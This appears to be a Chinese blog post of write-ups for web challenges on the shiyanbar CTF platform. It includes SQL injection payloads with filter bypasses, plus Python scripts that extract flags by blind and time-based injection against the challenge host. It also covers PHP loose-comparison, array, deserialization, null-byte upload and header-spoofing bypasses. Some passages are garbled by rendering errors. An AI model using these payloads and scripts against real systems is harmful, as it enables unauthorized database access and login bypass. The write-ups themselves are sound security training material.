實驗吧—web

正文

因缺思汀的繞過

查看源碼,發現source.txt,打開看看

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
	echo '<form action="" method="post">'."<br/>";
	echo '<input name="uname" type="text"/>'."<br/>";
	echo '<input name="pwd" type="text"/>'."<br/>";
	echo '<input type="submit" />'."<br/>";
	echo '</form>'."<br/>";
	echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);  //implode把數組變成字符串拼接起來
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可載舟,亦可賽艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
	die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); //發起一條mysql查詢
if (mysql_num_rows($query) == 1) { //mysql_num_rows() 返回結果集中行的數目。此命令僅對 SELECT 語句有效。要取得被 INSERT,UPDATE 或者 DELETE 查詢所影響到的行的數目,
    $key = mysql_fetch_array($query);   //返回根據從結果集取得的行生成的數組,如果沒有更多行則返回 FALSE。 
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可賽艇!";
    }
}else{
	print "一顆賽艇!";
}
mysql_close($con);
?>

可以看到主要是 $filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)”; 這句話過濾了很多關鍵詞

所以這個題目不能用以前的方法來做,要用到一個新的方法,參考文章

閱讀源碼可知,我們需要讓數據庫返回的pwd字段與我們post的內容相同,但是我們不知道數據庫中pwd是什麼(注意此處是弱類型比較)。

這裏是巧妙地用了select過程中用group by with rollup這個統計的方法進行插入查詢。做幾個實驗看看。with rollup

mysql> create table test(
    -> user varchar(100) not null,
    -> pwd varchar(100) not null);
Query OK, 0 rows affected (0.05 sec)
mysql> insert into test value("admin","mypwd");
Query OK, 1 row affected (0.00 sec)

mysql> select * from test group by pwd with rollup
    -> ;
+-------+-------+
| user  | pwd   |
+-------+-------+
| admin | mypwd |
| admin | NULL  |
+-------+-------+
2 rows in set (0.00 sec)

mysql> select * from test group by pwd with rollup limit 1;
+-------+-------+
| user  | pwd   |
+-------+-------+
| admin | mypwd |
+-------+-------+
1 row in set (0.00 sec)

mysql> select * from test group by pwd with rollup limit 1 offset 0;
+-------+-------+
| user  | pwd   |
+-------+-------+
| admin | mypwd |
+-------+-------+
1 row in set (0.00 sec)

mysql> select * from test group by pwd with rollup limit 1 offset 1;
+-------+------+
| user  | pwd  |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set (0.00 sec)

讓pwd變成空,而且user這一列用的卻是也是存在的字段!
這就很好用了!又有if (mysql_num_rows($query) == 1)知道只要一列。

然後我們構造payload’ or 1=1 group by pwd with rollup limit 1 offset XX#進行嘗試

最終payload:uname=1' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=

[外鏈圖片轉存失敗(img-HXoEW63U-1562291803228)(https://s2.ax1x.com/2019/05/03/EUDehD.png)]

簡單的SQL注入3

報錯注入,方法有很多。

嘗試發現floor,extractvalue,updatexml被喫掉了,那就用exp

爆庫名:'or EXP(~(SELECT * from(select database())a))#

爆表名:'or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a))#

爆列名:'or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name='flag')a))#

爆數據:'or EXP(~(SELECT * from(select group_concat(flag) from flag)a))#

不得不說報錯注入真的厲害。

在網上還看到用腳本bool注入的

#!/usr/bin/env python3
#coding:utf-8

import sys
import re
import urllib.request
import http.client

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

flag = ''
print("Start SQLi")

for i in range(1,27):
    for payload in range(30,127):
        sys.stdout.write('.')
        sys.stdout.flush()
        conn = http.client.HTTPConnection('ctf5.shiyanbar.com',timeout=60)
        s = "/web/index_3.php?id=1'+and+ascii(substr((select+flag+from+flag)%2C{0}%2C1))+%3D{1}%23".format(i,payload)

        conn.request(method='GET',url=s,headers=headers)
        response = conn.getresponse().read().decode('utf-8')
        conn.close()
        
        if response.find(str('Hello')) >0:
            flag += chr(payload)         
            print(i,chr(payload))
            break
print('Done! flag is {0}'.format(flag))

跑的時間有點長

[外鏈圖片轉存失敗(img-ozlsfRMN-1562291803230)(https://s2.ax1x.com/2019/05/03/EU0cZV.png)]

簡單的sql注入2

既然是2,那麼比1過濾的東西更多。

輸入1,正常回顯,輸入 1’,報錯,輸入1’ or ‘1’='1,報錯

[外鏈圖片轉存失敗(img-U1BECuis-1562291803231)(https://s2.ax1x.com/2019/05/03/EUuKVx.png)]

然後,嘗試一堆東西,都是SQLi detected!,難道是把空格過濾了嗎?

輸入1’or’1’=‘1,返回所有數據,測試後,發現1’%0aor%0a’1’=‘1和1’/**/or/**/‘1’='1也可以正常返回。

[外鏈圖片轉存失敗(img-lDTngy7C-1562291803232)(https://s2.ax1x.com/2019/05/03/EUuWd0.png)]

爆庫

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

[外鏈圖片轉存失敗(img-AY64iQ4I-1562291803233)(https://s2.ax1x.com/2019/05/03/EUKgpD.png)]

爆表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

[外鏈圖片轉存失敗(img-npKfYhyj-1562291803233)(https://s2.ax1x.com/2019/05/03/EUKhnA.png)]

爆列

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

[外鏈圖片轉存失敗(img-bvYIG7gA-1562291803235)(https://s2.ax1x.com/2019/05/03/EUKOXj.png)]

爆內容

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

[外鏈圖片轉存失敗(img-7W1r4Nj7-1562291803236)(https://s2.ax1x.com/2019/05/03/EUMpNV.png)]

簡單的sql注入1

輸入1,正常返回

輸入1’,報錯

輸入1’ or ‘1’='1,返回所有用戶數據

應該是字符型注入,

測試了很多之後,發現order by,union select,都被過濾了

[外鏈圖片轉存失敗(img-noYtMSjB-1562291803238)(https://s2.ax1x.com/2019/05/03/EUVL6I.png)]

而且發現註釋符也被過濾了(可以用 **’**號閉合 ,如having , where),

要繞過關鍵字的過濾,有以下幾個方法

大小寫: Order SeLect

重複 : unionunion selectselect

交叉: selecselectt

構造語句:1' union select database()',發現空格也被過濾了

[外鏈圖片轉存失敗(img-yV4E3bIH-1562291803238)(https://s2.ax1x.com/2019/05/03/EUZ8nx.png)]

繞過空格有好多方法:+,/**/,%0a,或者兩個空格代替一個空格,

如:`1’ unionunion selectselect database()’,爆出數據庫

gVC08M.png

爆表1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1

[外鏈圖片轉存失敗(img-AoXMjytL-1562291803241)(https://t1.picb.cc/uploads/2019/05/03/gVCL9a.png)]

爆列

1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name='flag

[外鏈圖片轉存失敗(img-MQxeIVwx-1562291803242)(https://s2.ax1x.com/2019/05/03/EUerRJ.png)]

爆數據

1' unionunion selectselect flag fromfrom flag wherewhere '1'='1

[外鏈圖片轉存失敗(img-QNogObWN-1562291803242)(https://s2.ax1x.com/2019/05/03/EUe4iD.png)]

天下武功唯快不破

[外鏈圖片轉存失敗(img-Qp37g3DE-1562291803244)(https://s2.ax1x.com/2019/05/03/EUPBwQ.png)]

要求很快的傳入一個值,鍵名是key,手傳應該是不行的。

在header中找到一個

[外鏈圖片轉存失敗(img-28IJCI27-1562291803244)(https://s2.ax1x.com/2019/05/03/EUPgS0.png)]

base解碼之後P0ST_THIS_T0_CH4NGE_FL4G:dVcqymnw5

寫一個腳本把dVcqymnw5,post上去居然不對,再看header時,發現值變了,看來是每刷新一次,FLAG都會變,所以,把這一部分也寫進腳本里

import requests,base64
url='http://ctf5.shiyanbar.com/web/10/10.php'
ses=requests.Session()

r = ses.get(url)
key=base64.b64decode(r.headers['FLAG'])[-9:]
print(key)
r=ses.post(url,data={'key':key})
print(r.text)

[外鏈圖片轉存失敗(img-tkoW2iYT-1562291803244)(https://s2.ax1x.com/2019/05/03/EUFPUJ.png)]

讓我進去

看了源碼,什麼信息都沒有,bp抓包之後,在cookie中發現了一個source=0,嘗試改成source=1,得到了源碼

[外鏈圖片轉存失敗(img-U8l6qFx3-1562291803246)(https://s2.ax1x.com/2019/04/11/AHUs39.png)]

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

1.Cookie中getmein的值不能爲空
2.username必須爲admin和password不能爲admin
3.Cookie中的getmein必須等於md5($secret.urldecode($username.$password))

滿足這三個條件纔可獲得flag,可是我們無法得知$secret的值爲多少,

拐彎抹角

直接給出了源碼

 <?php
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;

//這道題目本身也有教學的目的
//第一,我們可以構造 /indirection/a/../ /indirection/./ 等等這一類的
//所以,第一個要求就是不得出現 ./
if($flag && strpos($URL, './') !== FALSE){
    $flag = "";
    $stop = 1;        //Pass
}

//第二,我們可以構造 \ 來代替被過濾的 /
//所以,第二個要求就是不得出現 ../
if($flag && strpos($URL, '\\') !== FALSE){
    $flag = "";
    $stop = 2;        //Pass
}

//第三,有的系統大小寫通用,例如 indirectioN/
//你也可以用?和#等等的字符繞過,這需要統一解決
//所以,第三個要求對可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
    $flag = "";
    $stop = 3;        //Pass
}

//第四,多個 / 也是可以的
//所以,第四個要求是不得出現 //
if($flag && strpos($URL, '//') !== FALSE){
    $flag = "";
    $stop = 4;        //Pass
}

//第五,顯然加上index.php或者減去index.php都是可以的
//所以我們下一個要求就是必須包含/index.php,並且以此結尾
if($flag && substr($URL, -10) !== '/index.php'){
    $flag = "";
    $stop = 5;        //Not Pass
}

//第六,我們知道在index.php後面加.也是可以的
//所以我們禁止p後面出現.這個符號
if($flag && strpos($URL, 'p.') !== FALSE){
    $flag = "";
    $stop = 6;        //Not Pass
}

//第七,現在是最關鍵的時刻
//你的$URL必須與/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
    $flag = "";
    $stop = 7;        //Not Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
    $code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
    $code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>'; 

一大段的代碼,上來就是各種過濾,一臉懵逼,只好去百度了,然後瞭解到了一個新知識url僞靜態,詳細信息可以去百度,最關鍵的就一句話,url中含有xxxx.php/aaa/bbb,那麼.php後的aaa就會被當成鍵名或者說參數名,bbb會被當成鍵值或者參數值

payload:index.php/aa/index.php,即可得到flag

Forms

查看源碼,<input type="hidden" name="showsource" value=0>表明有一個隱藏的輸入框,具體可以百度。

[外鏈圖片轉存失敗(img-OfDWrfsE-1562291803247)(https://s2.ax1x.com/2019/04/11/AHGg2t.png)]

bp抓包,把showsource=0,改成showsource=1,得到源碼

$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found."; 
}

看到要求輸入的pin=-19827747736161128312837161661727773716166727272616149001823847,提交一下試試,得到flag。

天網管理系統

點擊他給的用戶名和密碼登錄,沒有反應,查看源碼,有一行註釋

$test=$_GET['username']; $test=md5($test); if($test=='0')

這裏提示我們傳入一個username,然後經過MD5處理後,值等於0,

在使用 == 運算符對兩個字符串進行鬆散比較時,PHP會把類數值的字符串轉換爲數值進行比較,如果參數是字符串,則返回字符串中第一個不是數字的字符之前的數字串所代表的整數值。比如: ‘3’ == '3ascasd’結果爲true。

那麼就要找一個經過MD5處理後,值爲0,或者說第一個字母是0的字符串,這裏有幾個240610708,aabg7XSs,aabC9RqS ,

bp抓包後,把username的值換成240610708,得到一個頁面的地址,/user.php?fame=hjkleffifer

[外鏈圖片轉存失敗(img-OoBWzCvz-1562291803248)(https://s2.ax1x.com/2019/04/11/AHMENt.png)]

訪問/user.php?fame=hjkleffifer,得到一部分源碼

$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str); 
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{ 
	print_r($flag); 
} 

這是PHP反序列化的知識,要求當反序列化後的數組中的user=’???‘並且pass=’???’,輸出flag

但是我們不知道兩處???到底是什麼,因此無法考慮用php函數構造這樣的值。

最牛的地方來了,bool類型的true跟任意字符串可以弱類型相等

因此我們可以構造bool類型的序列化數據 ,無論比較的值是什麼,結果都爲true。

所以,我們要構造一個數組,是user=true,pass=true,然後進行序列化,序列化過程如下:

<?php
$arr=array('user'=>true,'pass'=>true);
$arr2=serialize($arr);
echo $arr2;
?>


[外鏈圖片轉存失敗(img-mGf1aYhj-1562291803248)(https://s2.ax1x.com/2019/04/11/AHlESf.png)]

把a:2:{s:4:“user”;b:1;s:4:“pass”;b:1;}放到password,即可得到flag

[外鏈圖片轉存失敗(img-sTungxe2-1562291803248)(https://s2.ax1x.com/2019/04/11/AHljNn.png)]

忘記密碼了

查看源碼

[外鏈圖片轉存失敗(img-AlsRy05H-1562291803250)(https://s2.ax1x.com/2019/04/11/AHE9C4.png)]

有重要信息,看到了用戶名和用戶郵箱,以及文件編輯器是vim,那麼有可能存在文件泄露,試了一下,沒有。。。

用管理員郵箱登錄試試,提示說發到管理員郵箱,你看不到

隨便輸一個郵箱登錄,顯示一下信息,顯示有一個step2.php,

[外鏈圖片轉存失敗(img-4nFHGBYG-1562291803250)(https://s2.ax1x.com/2019/04/11/AHVJyR.png)]

直接訪問,發現網頁閃了一下,又回到step1.php了,查看step2.php的源碼,有個submit.php

[外鏈圖片轉存失敗(img-ewnwRlMJ-1562291803250)(https://s2.ax1x.com/2019/04/11/AHVRTf.png)]

打開看看,提示說you are not admin,怎麼才能成爲管理員呢?

想起來vim了,再在這個頁面看看有沒有文件泄露,訪問.submit.php.swp,有源碼。

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失敗了呀";
	}
}

if(strlen(token)!=10)die(fail);if(token)!=10) die(&#x27;fail&#x27;); if(token!=‘0’) die(‘fail’); //要求token的長度要=10,值=0

要想滿足這個要求,可以使token=0e10000000或者token=0000000000,都可以。

至於emailAddress,應該就是開始的那個管理員郵箱,[email protected]

所以payload1:[email protected]&token=0000000000

payload2:[email protected]&token=0e99999999

[外鏈圖片轉存失敗(img-pY7BB8no-1562291803250)(https://s2.ax1x.com/2019/04/11/AHZzUf.png)]

Once More

<?php
if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
	{
		echo '<p>You password must be alphanumeric</p>';
	}
	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
	{
		if (strpos ($_GET['password'], '*-*') !== FALSE)
		{
			die('Flag: ' . $flag);
		}
		else
		{
			echo('<p>*-* have not been found</p>');
		}
	}
	else
	{
		echo '<p>Invalid password</p>';
	}
}
?>

if (ereg ("1+$", $_GET[‘password’]) === FALSE) //password由數字和字母組成

if (strlen($_GET[‘password’]) < 8 && $_GET[‘password’] > 9999999) //password長度小於8,password>9999999

if (strpos ($_GET[‘password’], ‘*-*’) !== FALSE) //password必須包含*-*

ereg()函數可以哄%00截斷,來繞過判斷,strpos()則可以使用數組來繞過。

payload:?password[]=1

[外鏈圖片轉存失敗(img-9Axisx7f-1562291803251)(https://s2.ax1x.com/2019/04/11/AHAOuq.png)]

還可以不繞過strpos(),那就要使用科學計數法,來繞過if (strlen($_GET[‘password’]) < 8 && $_GET[‘password’] > 9999999),並且把*-*拼接上去,payload:?password=1e8%00*-*

[外鏈圖片轉存失敗(img-ulysnQbv-1562291803252)(https://s2.ax1x.com/2019/04/11/AHAIUS.png)]

Guess Next Session

源碼

<?php
session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

bp抓包之後一頓操作,然而沒有成功,嘗試在cookie裏面添加一個值,也不對,百度一下,看看別人的wp,參考文章

觀察代碼,在代碼中並沒有什麼函數,關鍵就在於:password = $_session[‘password’]。

問題到了這一步,讓我們把這放下,先來分析一下PHP中的Session和Cookie。

Cookie與 Session,一般都會認爲這是兩個獨立完全不同的東西,Session採用的是在服務器端保持狀態的方案,而Cookie採用的是在客戶端保持狀態的方案。在PHP配置中的默認情況下,Session是用Session ID來確定當前對話所對應的服務器Session,而Session ID是通過Cookie來傳遞的,禁用Cookie相當於失去了Session ID,也就得不到Session了。

bp抓包之後,

[外鏈圖片轉存失敗(img-0byCFJCw-1562291803253)(https://s2.ax1x.com/2019/04/11/AHk9dU.png)]

從抓包的內容中我們就能看見在Cookie中已經是包含了Sessid,並且發送的password在URL中以Get的方式傳值。

那這裏我們就可以以這樣的思路來求解。首先我們刪除所有的Cookie,將PHPSessid值直接刪掉,這樣的結果就會使得$_session[‘password’]值爲空,接下來我們將URL中的password值清空,這樣我們就能達到password = $_session[‘password’]的效果。

右鍵,發送到Repeater,刪掉Cookie和password,點擊go就能得到flag

FALSE

查看源碼

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
	echo '<p>Login first!</p>';
?>

if ($_GET[‘name’] == $_GET[‘password’])

if (sha1(_GET[name])===sha1(\_GET[&#x27;name&#x27;]) === sha1(_GET[‘password’]))

要求name!=password,但是sha1(name)===sha1(password)

這是md5的強比較,可以使用數組繞過

payload:?name[]=1&password[]=2

[外鏈圖片轉存失敗(img-MAUtPfxl-1562291803253)(https://s2.ax1x.com/2019/04/11/AHiuX6.png)]

上傳繞過

這個題忘了在哪做過了

嘗試改後綴名不行之後,那麼就猜測是0x00截斷,0x00截斷的原理是當文件系統讀取到0x00是會認爲文件已經結束了,不處理後面的內容。

bp抓包,

[外鏈圖片轉存失敗(img-F38sv57p-1562291803253)(https://s2.ax1x.com/2019/04/11/AHPJyV.png)]

打開hex,找到2b(+),改成00,

[外鏈圖片轉存失敗(img-UMMvCPFR-1562291803254)(https://s2.ax1x.com/2019/04/11/AHPfFH.png)]

然後go,即可得到flag

NSCTF web200

[外鏈圖片轉存失敗(img-SpBqcAkv-1562291803255)(https://s2.ax1x.com/2019/04/11/A7j07n.png)]

先說一下strrev函數,是一個字符串反轉函數,例如:

<?php
echo strrev("Hello world!"); // 輸出 "!dlrow olleH"
?>


substr — 返回字符串的子串,例如:

<?php
$rest = substr("abcdef", 0, -1);  // 返回 "abcde"
$rest = substr("abcdef", 2, 5);  // 返回 "cde"
$rest = substr("abcdef", 4, -4);  // 返回 ""
$rest = substr("abcdef", -3, -1); // 返回 "de"
?>


decode算法

<?php
$_="";
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$a=base64_decode(strrev(str_rot13($str)));
for($_0=strlen($a)-1;$_0>=0;$_0--)
{
  $_c=substr($a,$_0,1);
  $__=ord($_c)-1;
  $_c=chr($__);
  $_=$_.$_c;
}
echo $_;

程序邏輯問題

查看源碼,發現一個index.php,打開之後是php源碼

<?php
if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  } 
}
?>

strcasecmp() 函數比較兩個字符串。

提示:strcasecmp() 函數是二進制安全的,且不區分大小寫。

提示:該函數與 strncasecmp() 函數類似,不同的是,通過 strncasecmp() 您可以指定每個字符串用於比較的字符數。

sql=&quot;selectpwfromphpwhereuser=sql = &quot;select pw from php where user=&#x27;user’";

說明是單引號閉合,

pass=md5(pass = md5(_POST[pass]);

if ((KaTeX parse error: Expected 'EOF', got '&' at position 10: row[pw]) &̲& (!strcasecmp(pass, $row[pw])))

可以看出post提交的password經過了MD5處理,而要想得到flag,必須使得數據庫中查詢到的password和經過MD5處理的提交了的password相等,提交的password我們 可以控制,但是數據庫中的password我們就不知道是多少了。

但是,我們發現row[pw]row[pw]的值是從sql中提取出來的,所以我們只要改變了$sql裏的pw值就可以了,我們可以用SQL語句隨便查詢一個pw值,然後使得提交的password的MD5值和這裏查詢的password的MD5值相等即可。

payload:username=-1' union select md5(1)#&password=1

what’ the fuck?

打開是一大段JSFUCK碼,直接放在控制檯跑一下,得到flag,也可以在線解碼。

PHP大法

有提示查看index.php.txt,有源碼

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

一看,發現這道題在bugku做過,二次編碼繞過

payload:?id=hackerD%254A,就行了。

這個看來有點簡單

這題一看就是注入,測試了一下,就是一個bool注入,兩列

然後就是四步走

爆庫

?id=-1 union select 1,database()#

爆表

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆列

?id=-1 union select 1,column_name from information_schema.columns where table_name='thiskey'#

爆內容

?id=-1 union select 1,k0y from thiskey#

就可以得到flag了

貌似有點難

打開就說代碼審計,那就看看源碼:

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
	$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
	$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
	$cip = $_SERVER["REMOTE_ADDR"];
else
	$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "錯誤!你的IP不在訪問列表之內!";
}
?>

這段代碼要求本地的IP是1.1.1.1就會輸出flag,即要求:

X-Forwarded-For:1.1.1.1

bp抓包,添加這個就可以了。

[外鏈圖片轉存失敗(img-tKrv9gOy-1562291803256)(https://s2.ax1x.com/2019/04/10/ATqqH0.png)]

頭有點大

看這個題目的提示,問題應該在header上。

[外鏈圖片轉存失敗(img-rP6afohi-1562291803256)(https://s2.ax1x.com/2019/04/10/ATH1ET.png)]

您無權訪問此服務器上的/。
請確保您已安裝.net framework 9.9!
確保您在英格蘭地區並使用Internet Explorer瀏覽此站點

有三個要求:1.使用.net 9.9框架 2.在英國 3.使用IE瀏覽器。

要修改http的請求頭,來僞裝一下。

[外鏈圖片轉存失敗(img-gbIfS1aO-1562291803256)(https://s2.ax1x.com/2019/04/10/ATHIIS.png)]

bp抓包之後,修改User-Agent和Accept-Language即可

User-Agent: compatible; MSIE 6.0;.NET CLR 9.9 //僞裝成IE和.net 9.9

Accept-Language:en-gb //僞裝是英國

看起來有點難

看着像注入題,隨便輸入一個賬戶和密碼,顯示數據庫連接失敗

[外鏈圖片轉存失敗(img-ABMEUSLS-1562291803256)(https://s2.ax1x.com/2019/04/11/A7Lg6H.png)]

把用戶名換成admin試試,變成了登錄失敗,錯誤的用戶名和密碼。

[外鏈圖片轉存失敗(img-1ofyYJpw-1562291803258)(https://s2.ax1x.com/2019/04/11/A7L79S.png)]

這是爲什麼呢?然後又換了其他用戶名試了試,發現都是數據庫連接失敗,於是猜測,admin就是正確的用戶名,

bp抓包,然後希望通過構造永真的條件來跳過密碼驗證,都失敗了,導出文件之後,sqlmap跑了幾遍也不行,,,,,,,

只好在網上找找wp了,發現是sleep延時注入(延時注入不怎麼會啊),

看着做一遍吧,參考文章

測試payload:

?admin=admin' and sleep(5) and ''='&pass=&action=login

發現延時5秒,存在注入

拿人家的腳本試試

import requests
import time
 
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'  #不區分大小寫的
 
flag = ""
key=0
print("Start")
for i in range(1,50):
    if key == 1:
        break
    for payload in payloads:
        starttime = time.time()#記錄當前時間
        headers = {"Host": "ctf5.shiyanbar.com",
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                   "Accept-Encoding": "gzip, deflate",
                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
                   "Connection": "keep-alive",
                   }
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#數據庫
        res = requests.get(url, headers=headers)
        if time.time() - starttime > 10:
            flag += payload
            print('\n pwd is:', flag)
            break
        else:
            if payload == '-':
                key = 1
                break
print('\n[Finally] current pwd is %s' % flag)

成功得到密碼

[外鏈圖片轉存失敗(img-vgZnioL6-1562291803258)(https://s2.ax1x.com/2019/04/11/A7jGff.png)]

想看詳細信息的,查看原文

用密碼登錄之後,即可得到flag


  1. a-zA-Z0-9 ↩︎

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章